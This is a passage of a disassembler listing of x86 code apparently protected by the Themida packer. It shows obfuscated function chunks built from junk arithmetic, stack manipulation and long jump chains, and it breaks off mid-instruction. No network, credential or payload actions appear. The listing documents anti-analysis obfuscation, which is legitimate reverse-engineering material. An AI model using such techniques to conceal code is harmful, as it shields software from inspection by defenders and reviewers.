FUNCTION CHUNK FOR sub_58960C ; --------------------------------------------------------------------------- lodsd sub eax, 2A3C3F27h sub eax, 4C3F3E32h push 109Ah jmp loc_58743B ; --------------------------------------------------------------------------- loc_58DE81: ; CODE XREF: Themida_:0058725Ej mov ecx, 18F9579Dh jmp loc_588146 ; --------------------------------------------------------------------------- loc_58DE8B: ; CODE XREF: Themida_:0058FDD7j mov [esp], edi mov edi, esp jmp loc_58D713 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589C10 loc_58DE95: ; CODE XREF: sub_589C10+5F98j sub esi, 0A61C11CAh sub edx, esi pop esi jmp loc_58419B ; END OF FUNCTION CHUNK FOR sub_589C10 ; =============== S U B R O U T I N E ======================================= sub_58DEA3 proc near ; CODE XREF: sub_585452+5CFDj var_4 = byte ptr -4 ; FUNCTION CHUNK AT 0058477B SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005851C3 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00586B01 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00586E88 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00587712 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058C36D SIZE 00000017 BYTES push ebx mov bl, 0F7h mov dl, bl pop ebx sub dl, 96h jmp loc_58C36D sub_58DEA3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_58DEB1: ; CODE XREF: Themida_:00587C7Bj mov edi, 7D1A06E8h neg edi shl edi, 4 dec edi push eax mov eax, 0AE8D687Fh push ebp mov ebp, 3E6A23C5h add ebp, 3BE8238Bh sub edi, 8BB3C46h add edi, ebp add edi, 8BB3C46h pop ebp sub edi, eax sub edi, 7A524750h mov eax, [esp] add esp, 4 add eax, edi jmp loc_58B8AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_586B0E loc_58DEF5: ; CODE XREF: sub_586B0E+9j mov edi, 61A32B06h jmp loc_58AD8B ; END OF FUNCTION CHUNK FOR sub_586B0E ; --------------------------------------------------------------------------- loc_58DEFF: ; CODE XREF: Themida_:0058793Dj pop esp jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58DF05: ; CODE XREF: sub_58EFBD-5BFj add esp, 4 push ebx jmp loc_58850D ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 jmp loc_5842F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58999B loc_58DF20: ; CODE XREF: sub_58999B+3B25j xchg edi, [esp+0] pop esp jmp loc_58EA40 ; END OF FUNCTION CHUNK FOR sub_58999B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58DF29: ; CODE XREF: sub_585452+64BBj add eax, 0AB5EF793h jmp loc_58BC4E ; --------------------------------------------------------------------------- loc_58DF33: ; CODE XREF: sub_585452+7528j sub dh, bh pop bx add dh, 39h mov ch, dh pop edx neg ch neg ch shr ch, 7 neg ch xor ch, 0BEh mov bl, ch pop ecx add al, bl jmp loc_587C80 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58DF53: ; CODE XREF: Themida_:0058CEC1j xor esi, [esp] mov esp, [esp] mov ax, [esp] push esi mov esi, esp jmp loc_58CB4B ; --------------------------------------------------------------------------- loc_58DF65: ; CODE XREF: Themida_:0058B6FCj push ecx mov ecx, 14A1431Bh jmp loc_58F0E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58622C loc_58DF70: ; CODE XREF: sub_58622C+3618j xor edi, ebp mov ebp, [esp+4+var_4] add esp, 4 add edi, 1 push ebx jmp loc_58CA2C ; END OF FUNCTION CHUNK FOR sub_58622C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E761 loc_58DF87: ; CODE XREF: sub_58E761-8012j add esp, 4 jmp loc_58EA9D ; END OF FUNCTION CHUNK FOR sub_58E761 ; --------------------------------------------------------------------------- loc_58DF92: ; CODE XREF: Themida_:00588E51j push eax mov al, dl mov bl, al pop eax pop edx sub al, bl mov bx, [esp] push esi mov esi, esp jmp loc_58BD13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EDD1 loc_58DFA7: ; CODE XREF: sub_58EDD1+C6Dj xor bl, ch pop ecx add bl, 8Ah jmp loc_58C8AE ; END OF FUNCTION CHUNK FOR sub_58EDD1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58DFB2: ; CODE XREF: sub_585452+4F09j mov esi, 1F1B170Ch jmp loc_587C26 ; --------------------------------------------------------------------------- loc_58DFBC: ; CODE XREF: sub_585452-131Aj sub ecx, 38285709h jmp loc_589F22 ; --------------------------------------------------------------------------- loc_58DFC7: ; CODE XREF: sub_585452+4646j and ebx, eax pop eax push ecx mov ecx, 332C2AF3h not ecx not ecx sub ecx, 65E02709h sub ebx, ecx pop ecx push ebx push ebx mov ebx, 46E87530h xor [esp-4+arg_4], ebx mov ebx, [esp-4+arg_0] jmp loc_58C249 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58DFF0: ; CODE XREF: sub_58EFBD-7D21j pop esi mov eax, ebx pop ebx jmp loc_58C805 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], ax pushf jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EA34 loc_58E009: ; CODE XREF: sub_58EA34-4109j add eax, 4 jmp loc_5896DD ; END OF FUNCTION CHUNK FOR sub_58EA34 ; --------------------------------------------------------------------------- loc_58E013: ; CODE XREF: Themida_:00584179j pop edi jmp loc_585C85 ; --------------------------------------------------------------------------- loc_58E019: ; CODE XREF: Themida_:0058CD2Bj push edx mov edx, 13532E8Bh jmp loc_5856CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58E024: ; CODE XREF: sub_585452+A7A9j mov esi, [esp-4+arg_0] add esp, 4 push ebp mov ebp, esp jmp loc_58F8E3 ; --------------------------------------------------------------------------- loc_58E035: ; CODE XREF: sub_585452+219Fj pop eax push dx mov dh, 6Fh sub bh, dh pop dx or dh, bh jmp loc_586668 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58E045: ; CODE XREF: Themida_:0058DA89j mov edi, 2D015DA5h jmp loc_58990E ; --------------------------------------------------------------------------- loc_58E04F: ; CODE XREF: Themida_:0058A2BCj push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_584784 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58E065: ; CODE XREF: sub_585452+82EBj inc edx inc edx jmp loc_58564F ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58E06C: ; CODE XREF: Themida_:00588F04j pop dword ptr [esp] add dword ptr [esp], 4 pop ebp jmp loc_583CE4 ; --------------------------------------------------------------------------- loc_58E079: ; CODE XREF: Themida_:005866B2j mov cl, bl pop ebx push 5202h mov [esp], ebx mov bh, cl jmp loc_583EAD ; --------------------------------------------------------------------------- loc_58E08B: ; CODE XREF: Themida_:00583D50j push edx mov edx, 23DA234Dh and ecx, edx jmp loc_58700A ; --------------------------------------------------------------------------- mov cx, [esp] push ebp push 5AC8h push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_586444 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58E0B2: ; CODE XREF: sub_585452+7405j neg edx shl edx, 6 jmp loc_58A1AF ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58E0BC: ; CODE XREF: Themida_:0058918Cj sub esp, 4 mov [esp], eax mov ah, 8 mov bl, ah pop eax mov dl, bl push dword ptr [esp] push dword ptr [esp] pop ebx add esp, 4 push edx jmp loc_588233 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58E0D9: ; CODE XREF: sub_585452+2C8j push 1509h jmp loc_58C272 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58AB18 loc_58E0E3: ; CODE XREF: sub_58AB18-2462j xor edi, 61F2A97h and edi, 53156C76h sub esp, 4 mov [esp+0], esi push 53056742h jmp loc_5890A7 ; END OF FUNCTION CHUNK FOR sub_58AB18 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58E0FF: ; CODE XREF: sub_585452+35Ej shl eax, 3 jmp loc_58C33F ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58E107: ; CODE XREF: Themida_:0058B6CDj pop ebx add esi, 2 jmp loc_588D47 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58E113: ; CODE XREF: sub_585452+132j push ax mov ah, 0DBh jmp loc_588279 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58E11C: ; CODE XREF: Themida_:005897AAj mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_5876F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58E12F: ; CODE XREF: sub_585452+9CAj add ebx, ebp jmp loc_584B8E ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- mov cx, [esp] push 74B0h mov [esp], ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp add ebp, 4 jmp loc_58C541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58999B loc_58E158: ; CODE XREF: sub_58999B+493Cj mov ebp, 93B24E0h sub ebp, 2B81214Ch push 58C0h mov [esp+0], ecx mov ecx, 0C05B9895h add ebp, 3A979D9h sub ebp, ecx sub ebp, 3A979D9h pop ecx jmp loc_587E7F ; END OF FUNCTION CHUNK FOR sub_58999B ; --------------------------------------------------------------------------- loc_58E184: ; CODE XREF: Themida_:0058656Ej mov eax, 555A1452h or ebp, eax pop eax xor ebp, 58622BB3h push ebx mov ebx, 26F338A3h jmp loc_58B809 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_586650 loc_58E19D: ; CODE XREF: sub_586650+9073j push esi push esp pop esi jmp loc_58E251 ; END OF FUNCTION CHUNK FOR sub_586650 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589C10 loc_58E1A5: ; CODE XREF: sub_589C10+Aj mov ebx, 6D147089h jmp loc_58C150 ; END OF FUNCTION CHUNK FOR sub_589C10 ; =============== S U B R O U T I N E ======================================= sub_58E1AF proc near ; CODE XREF: sub_58F487+11j var_8 = dword ptr -8 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0058669E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00589E29 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058A959 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058E3BA SIZE 0000001A BYTES push ebp push 66F21A8Ch pop ebp sub edx, ebp pop ebp pop edi jmp loc_58A959 sub_58E1AF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58E1BF: ; CODE XREF: sub_585452+B0j sub eax, 5587385Dh sub eax, edx add eax, 5587385Dh pop edx jmp loc_589E0A ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58E1D1: ; CODE XREF: Themida_:0058F681j add edi, ecx pop ecx xchg edi, [esp] mov esp, [esp] movzx ax, byte ptr [eax] push edi jmp loc_58A6E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58E1E4: ; CODE XREF: sub_585452+7D2Dj push ecx jmp loc_587A89 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58E1EA: ; CODE XREF: Themida_:0058C26Dj add edi, 4 xchg edi, [esp] pop esp xor ch, bh pop bx xor al, ch mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_586D14 ; --------------------------------------------------------------------------- loc_58E20E: ; CODE XREF: Themida_:0058A354j push edi not dword ptr [esp] pop edi xor edi, 92AAF724h jmp loc_58FCD9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58999B loc_58E21E: ; CODE XREF: sub_58999B-233Ej add esp, 4 add edx, eax push eax mov eax, 1D5E6AFFh add edx, eax pop eax jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_58999B ; =============== S U B R O U T I N E ======================================= sub_58E234 proc near ; CODE XREF: sub_585452+3D4Ej var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00587CF3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058892B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00589DCC SIZE 0000003E BYTES ; FUNCTION CHUNK AT 0058B2D6 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058CFD3 SIZE 0000000E BYTES push ebx mov ebx, esp add ebx, 4 add ebx, 4 xor ebx, [esp+4+var_4] xor [esp+4+var_4], ebx xor ebx, [esp+4+var_4] jmp loc_58B2D6 sub_58E234 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_586650 loc_58E251: ; CODE XREF: sub_586650+7B50j push edx mov edx, 2B155F4Eh jmp loc_587D14 ; END OF FUNCTION CHUNK FOR sub_586650 ; --------------------------------------------------------------------------- mov cx, [esp] push edx mov edx, esp jmp loc_586262 ; --------------------------------------------------------------------------- loc_58E268: ; CODE XREF: Themida_:0058E706j mov [esp], eax push edi push 3FDAh jmp loc_587D58 ; --------------------------------------------------------------------------- loc_58E276: ; CODE XREF: Themida_:0058D0E1j pop ecx xchg ebx, [esp] pop esp mov ax, [esp] push edi push esp push dword ptr [esp] pop edi add esp, 4 add edi, 4 push 3C92h mov [esp], ecx mov ecx, 0A4E63h neg ecx sub ecx, 0FFF5B19Bh add edi, 69651650h jmp loc_585E21 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push 12DBh jmp loc_58D50E ; --------------------------------------------------------------------------- loc_58E2BE: ; CODE XREF: Themida_:0058BF01j pop ecx sub al, dh push dword ptr [esp] pop edx add esp, 4 push ecx mov ch, 15h push dx jmp loc_587643 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58999B loc_58E2D2: ; CODE XREF: sub_58999B-26B2j pop [esp-0Ch+arg_8] pop esp push ebp jmp loc_58E158 ; END OF FUNCTION CHUNK FOR sub_58999B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58E2DC: ; CODE XREF: sub_585452-2A6j push ecx mov ecx, esp jmp loc_5846C0 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58E2E4: ; CODE XREF: Themida_:00588676j mov [esp], edi mov edi, 4 mov edx, edi pop edi add edi, 6CB3046Ch jmp loc_58A5C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DCD4 loc_58E2FA: ; CODE XREF: sub_58DCD4-59EFj mov ecx, [esp+0Ch+var_C] push edi jmp loc_587492 ; END OF FUNCTION CHUNK FOR sub_58DCD4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58E303: ; CODE XREF: sub_585452+3D82j push 1F7F4825h pop edx neg edx add edx, 44BA1D06h inc edx add edx, 25DA7D0Eh mov edi, edx jmp loc_585A42 ; --------------------------------------------------------------------------- loc_58E31F: ; CODE XREF: sub_585452+79F6j sub eax, ebx pop ebx jmp loc_5863A3 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58E327: ; CODE XREF: Themida_:0058FF95j push edi push esp pop edi push ecx mov ecx, 0D18469Eh push edi mov edi, 0D18469Ah sub ecx, edi pop edi add edi, 3F9C51D7h add edi, ecx jmp loc_58A80C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CCD7 loc_58E346: ; CODE XREF: sub_58CCD7-19AAj mov ecx, 24h add ecx, 56A64F81h jmp loc_58C6D2 ; END OF FUNCTION CHUNK FOR sub_58CCD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58E356: ; CODE XREF: sub_585452+786Fj xchg ebp, [esp-14h+arg_E+2] pop esp sub ebx, eax push ecx mov ecx, 186377F7h jmp loc_589F53 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58E367: ; CODE XREF: Themida_:0058EDBEj mov ecx, [esp] add esp, 4 push eax mov eax, 0 add eax, ebx push ebx mov bh, dh jmp loc_58CAF5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58E37D: ; CODE XREF: sub_585452+218Dj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp-4+arg_0] pop esp jmp loc_589319 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58E391: ; CODE XREF: Themida_:0058DBD8j pop eax mov ah, bh pop ebx pop edx jmp loc_589F86 ; --------------------------------------------------------------------------- loc_58E39B: ; CODE XREF: Themida_:0058D3B2j add ecx, 5B21758h sub ecx, 599B250Ch add ecx, 47CC24EFh add ecx, ebx sub ecx, 47CC24EFh jmp loc_58AB37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E1AF loc_58E3BA: ; CODE XREF: sub_58E1AF-384Bj add eax, 72FD63CBh not eax not eax inc eax shr eax, 6 add eax, 0FCEDC8EDh add edx, eax pop eax jmp loc_589E29 ; END OF FUNCTION CHUNK FOR sub_58E1AF ; --------------------------------------------------------------------------- loc_58E3D4: ; CODE XREF: Themida_:0058D8C1j mov esp, [esp] rol byte ptr [esp], cl pushf jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58E3E0: ; CODE XREF: sub_585452+4AE5j mov esp, [esp+42h+var_44+2] or byte ptr [esp+42h+var_44+2], al pushf jmp loc_583C20 ; --------------------------------------------------------------------------- loc_58E3EC: ; CODE XREF: sub_585452+5892j push ebx sub esp, 4 jmp loc_58412D ; --------------------------------------------------------------------------- loc_58E3F8: ; CODE XREF: sub_585452+3A44j add ebp, ecx pop ecx jmp loc_58C0C4 ; --------------------------------------------------------------------------- loc_58E400: ; CODE XREF: sub_585452+7027j inc al jmp loc_58FEC2 ; --------------------------------------------------------------------------- loc_58E407: ; CODE XREF: sub_585452+4A3j add esp, 4 sub [esp+46h+var_44+2], 44C76C89h add [esp+46h+var_44+2], esi push edi mov edi, 44C76C89h add [esp+4Ah+var_44+2], edi jmp loc_58CAB8 ; --------------------------------------------------------------------------- loc_58E428: ; CODE XREF: sub_585452+1D4Ej mov ecx, 4 push edx mov edx, 46A118C9h sub esi, edx jmp loc_584EDA ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58E43A: ; CODE XREF: sub_58EFBD-AA44j dec ebx shl ebx, 2 jmp loc_5885A2 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- loc_58E443: ; CODE XREF: Themida_:00584087j pop ecx push esi mov esi, 0E7619B8h and esi, 665F0D76h not esi sub esi, 0F9A9F6CBh sub ecx, 30FF18A6h add ecx, 3C577C8Ah add ecx, esi jmp loc_5883A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58E46B: ; CODE XREF: sub_585452+33Dj mov esi, 4 jmp loc_586EF1 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58E475: ; CODE XREF: Themida_:00586D87j pop edx add esp, 4 jmp loc_58D138 ; --------------------------------------------------------------------------- loc_58E481: ; CODE XREF: Themida_:0058E955j pop eax jmp loc_58486A ; --------------------------------------------------------------------------- loc_58E487: ; CODE XREF: Themida_:0058C2DAj push small word ptr [esp+2] pop si pop small word ptr [esp] push small 329Dh mov [esp], si xchg di, [esp] jmp loc_588A0A ; --------------------------------------------------------------------------- loc_58E4A3: ; CODE XREF: Themida_:0058A312j xchg ebp, [esp] mov esp, [esp] push 6334h mov [esp], ebx sub esp, 4 mov [esp], edx mov edx, 0 mov ebx, edx pop edx add ebx, 56FE2765h sub ebx, 4E0B7835h jmp loc_58C3E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58E4D3: ; CODE XREF: sub_585452-88j mov [esp+0], ebx mov ebx, esi push ebx jmp loc_5866AA ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58E4DE: ; CODE XREF: Themida_:0058DE45j add ebx, edx add ebx, 74E30356h pop edx add ebx, 4F620E08h jmp loc_58A14E ; --------------------------------------------------------------------------- loc_58E4F2: ; CODE XREF: Themida_:00589038j xchg ecx, [esp] pop esp push edx sub esp, 4 push esp pop dword ptr [esp] push eax mov eax, 4 add [esp+4], eax pop eax pop edx add edx, 4 add edx, 4 push edx jmp loc_587935 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58622C loc_58E51C: ; CODE XREF: sub_58622C+Ej push edx mov edx, 254F180Ch jmp loc_585414 ; END OF FUNCTION CHUNK FOR sub_58622C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58E527: ; CODE XREF: sub_585452-1100j xchg edx, [esp-4+arg_0] mov esp, [esp-4+arg_0] mov [esp-4+arg_0], ecx push esi push 5BB50949h pop esi xchg eax, esi neg eax push esi jmp loc_5872DD ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58E540: ; CODE XREF: Themida_:0058FDC8j push ebx jmp loc_58D6E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58E546: ; CODE XREF: sub_585452+AB06j inc dh push ebx jmp loc_58650F ; --------------------------------------------------------------------------- loc_58E54E: ; CODE XREF: sub_585452+9EE0j pop edi add ebp, 339B5EF1h push ebp jmp loc_58682C ; --------------------------------------------------------------------------- loc_58E55B: ; CODE XREF: sub_585452+182Aj or esi, 5C1329E0h xor esi, 5DBB79E3h add edx, esi pop esi xchg edx, [esp+0Ah+var_C+2] mov esp, [esp+0Ah+var_C+2] push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+0Eh+var_10+2] pop esp mov [esp+0Ah+var_C+2], edx push ebx jmp loc_587FFB ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58E589: ; CODE XREF: sub_58EFBD-7E77j and ecx, 73645464h xor ecx, 34DC05F8h sub ecx, 24FC1594h mov edx, ecx pop ecx add eax, edx pop edx xor eax, [esp+0] xor [esp+0], eax jmp loc_5864D5 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58E5AC: ; CODE XREF: sub_585452+7554j or eax, 48CE0C9Bh xor eax, 4BF66F06h shr eax, 2 shr eax, 5 jmp loc_58C0AE ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58E5C1: ; CODE XREF: Themida_:00584603j xchg edx, [esp] pop esp jmp loc_5851F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58E5CA: ; CODE XREF: sub_585452+249j mov [esp-16h+arg_12], eax push ebx push edx mov dh, 5 mov bh, dh jmp loc_583C9F ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_58E5D8: ; CODE XREF: sub_58FA66-34B0j add ecx, 352D783Ah jmp loc_58AFCD ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- loc_58E5E3: ; CODE XREF: Themida_:00586C0Ej push dword ptr [esp] pop ecx jmp loc_587FCE ; --------------------------------------------------------------------------- loc_58E5EC: ; CODE XREF: Themida_:005875D4j mov dx, [esp] push edi mov edi, esp add edi, 4 add edi, 2 jmp loc_58D4E7 ; --------------------------------------------------------------------------- loc_58E601: ; CODE XREF: Themida_:0058EB83j mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], edx push small 86Dh pop dx add dx, 11C3h add dx, 1 not dx dec dx not dx jmp loc_5876D2 ; --------------------------------------------------------------------------- loc_58E635: ; CODE XREF: Themida_:0058790Bj mov cl, 43h jmp loc_58BAF1 ; --------------------------------------------------------------------------- loc_58E63C: ; CODE XREF: Themida_:005868E4j sub edi, 0B309CB63h add esi, edi pop edi add esi, eax push eax jmp loc_585A68 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58E64D: ; CODE XREF: sub_585452+2FECj mov [esp+0Ch+var_C], esi sub [esp+0Ch+var_C], 48A6431Eh pop eax jmp loc_58467B ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58E65D: ; CODE XREF: Themida_:0058C3A3j sub ebx, 0FFFFFFFFh jmp loc_5854F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58E668: ; CODE XREF: sub_585452+5C13j add esp, 4 add edx, 4 add edx, 4 push edx push [esp+0Ah+var_8+2] pop edx pop [esp+0Ah+var_C+2] pop esp push [esp+2+var_4+2] push [esp+6+var_8+2] mov edx, [esp+0Ah+var_C+2] add esp, 4 add esp, 4 sub esp, 4 mov [esp+6+var_8+2], esi jmp sub_58A5A3 ; --------------------------------------------------------------------------- loc_58E69B: ; CODE XREF: sub_585452+68FCj sub al, 0A7h add al, bl add al, 0A7h sub al, 0A1h jmp loc_58846C ; --------------------------------------------------------------------------- loc_58E6A8: ; CODE XREF: sub_585452+E74j add ebx, 258F67E9h sub ebx, eax push edx jmp sub_5877DD ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58E6B6: ; CODE XREF: Themida_:0058A5D6j sub edi, 6CB3046Ch pop edx jmp loc_58899C ; =============== S U B R O U T I N E ======================================= sub_58E6C2 proc near ; CODE XREF: sub_585452+291j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00586CA7 SIZE 00000030 BYTES sub esp, 4 mov [esp+4+var_4], ebp sub esp, 4 jmp loc_586CA7 sub_58E6C2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58E6D0: ; CODE XREF: sub_585452+1B56j push eax mov eax, 4 jmp loc_586DCC ; --------------------------------------------------------------------------- loc_58E6DB: ; CODE XREF: sub_585452-55Ej add esp, 4 pop [esp-32h+arg_2C+2] pop esp push eax mov eax, esp push 1847h mov [esp-32h+arg_2C+2], edx push 4 pop edx add eax, 2C3F4A5Ch jmp loc_58941A ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- sub esp, 4 jmp loc_58E268 ; --------------------------------------------------------------------------- loc_58E70B: ; CODE XREF: Themida_:005876D3j mov cx, 2635h jmp loc_5852F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58E714: ; CODE XREF: sub_585452+43E0j add ebp, 4 xchg ebp, [esp+2+var_4+2] pop esp add [esp-2+arg_0+2], esi pop esi jmp loc_583C20 ; --------------------------------------------------------------------------- loc_58E728: ; CODE XREF: sub_585452+20D4j mov [esp-4+arg_0], ebp jmp loc_584103 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58E730: ; CODE XREF: Themida_:00589435j push eax push edx mov dh, 0A0h jmp loc_58BDF3 ; --------------------------------------------------------------------------- loc_58E739: ; CODE XREF: Themida_:0058BD2Cj pop ebp add ebx, 95D58805h jmp loc_58E8B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58E745: ; CODE XREF: sub_585452+4617j push 4D9Bh jmp loc_58D417 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58A170 loc_58E74F: ; CODE XREF: sub_58A170-31EEj inc dh jmp loc_5848D6 ; END OF FUNCTION CHUNK FOR sub_58A170 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58E756: ; CODE XREF: sub_585452+77A9j pop edx push edi push [esp-14h+arg_12+2] jmp loc_5855C0 ; END OF FUNCTION CHUNK FOR sub_585452 ; =============== S U B R O U T I N E ======================================= sub_58E761 proc near ; CODE XREF: sub_585452+3CEBj var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0058644C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00586748 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00587E29 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058A9F6 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058AB20 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058B536 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058DF87 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058EA9D SIZE 00000012 BYTES sub esp, 4 mov [esp+8+var_8], esi mov 